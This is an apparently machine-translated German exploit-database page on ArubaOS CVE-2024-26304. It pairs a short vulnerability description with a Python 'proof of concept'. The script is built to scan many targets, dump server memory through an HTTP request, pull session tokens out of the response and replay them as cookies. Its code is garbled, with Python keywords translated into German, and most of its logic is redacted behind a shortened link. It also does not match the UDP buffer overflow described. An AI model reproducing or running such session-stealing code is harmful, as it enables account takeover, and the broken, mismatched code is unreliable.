ArubaOS-Sicherheitslücke bei der Ausführung von Remotecode (CVE-2024-26304)

expdb Anwendungssicherheit 2186

Beschreibungen

Im zugrundeliegenden L2/L3-Verwaltungsdienst besteht eine Pufferüberlaufschwachstelle, die durch das Senden speziell gestalteter Pakete für den UDP-Port (8211) von PAPI (Aruba Access Point Management Protocol) zur nicht authentifizierten Remotecodeausführung führen kann. Eine erfolgreiche Ausnutzung dieser Schwachstelle könnte zur Ausführung von beliebigem Code auf dem zugrunde liegenden Betriebssystem als privilegierter Benutzer führen.

poc

Importware
System einführen
hexdump importieren
argparse importieren
Einfuhrgesuche

from rich.console.import Konsole
from urllib.parse import urlparse
from alive_progress import alive_bar
from typing import List, Tuple, Optional, TextIO
from concurrent.futures import ThreadPoolExecutor, as_completed

warnings = requests.packages.urllib3
warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning)

Klasse ArubaRCE.

def __init__(self).
self.console = Konsole()
self.parser = argparse.ArgumentParser(description='ArubaRCE')
self.setup_arguments()
self.results: Liste[Tupel[str, str]] = []
self.output_file: Optional[TextIO] = Keine
if self.args.output.
self.output_file = open(self.args.output, 'w')

def setup_arguments(self) -> Keine.
self.parser.add_argument('-u', '-url', help='Das ArubaRCE / Gateway-Ziel (z.B. https://192.168.1.200)')
self.parser.add_argument('-f', '-file', help='Datei mit eine Liste von Ziel-URLs (eine URL pro Zeile)')
self.parser.add_argument('-o', '-output', help='Datei zum Speichern der Ausgabeergebnisse')
self.parser.add_argument('-v', '-verbose', action='store_ true', help='Ausführlichen Modus einschalten')
self.parser.add_argument('-only-valid', action='store_true', help= 'Nur Ergebnisse mit gültigen Sitzungen anzeigen')
self.args = self.parser.parse_args()

def print_results(self, header: str, result: str) -> None.
wenn self.args.only_valid und "[+]" nicht in der Kopfzeile.
return

formatted_msg = f"{header} {result}"
self.console.print(formatted_msg, style="white")
if self.output_file.
self.output_file.write(result + '\n')

def normalize_url(self, url: str) -> str.
if not url.startswith("http://") and not url.startswith("https://")::
url = f "https://{url}"

parsed_url = urlparse(url)
normalised_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
return normalisierte_url

def dump_memory(self, url: str) -> None.
full_url = self.normalise_url(url)
headers = {
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
print("Kopfzeilen:", Kopfzeilen)
}

versuchen.
r = requests.get(
f"{full_url}/oauth/redacted", # [REDACTED. Hier finden Sie den vollständigen Code https://t.ly/C1-D1]
headers=headers,
verify=False,
timeout=10
)
content_bytes = r.content

wenn r.status_code == 200 und content_bytes.
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
print("Inhaltsbytes:", content_bytes)

außer Ausnahme wie e.
print("Fehler:", e)

def clean_bytes(self, data: bytes) -> bytes.
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
print("Bytes reinigen...")

def find_session_tokens(self, content_bytes: bytes) -> List[str].
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
print("Sitzungs-Token finden...")

def test_session_cookie(self, url: str, session_token: str) -> bool.
headers = {
"Cookie": f"[REDACTED. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]={session_token}"
}
versuchen.
r = requests.post(
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
)
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
print("Session-Cookie-Testergebnis:", Ergebnis)
Rückgabeergebnis

außer Ausnahme wie e.
print("Fehler:", e)
return False

def run(self) -> Keine.
if self.args.url.
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
for header, result in self.results:
self.print_results(Kopfzeile, Ergebnis)
elif self.args.file.
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
pass # Platzhalter für die Ausführung von Code zur Dateiverarbeitung
sonst.
self.console.print("[fett rot][-][/fett rot] URL oder Datei muss angegeben werden.", style="white")
sys.exit(1)

if self.output_file.
self.output_file.close()

if __name__ == "__main__".
getRCE = ArubaRCE()
getRCE.run()

Quelle der Verwundbarkeit

 

  • Kommentarliste ist leer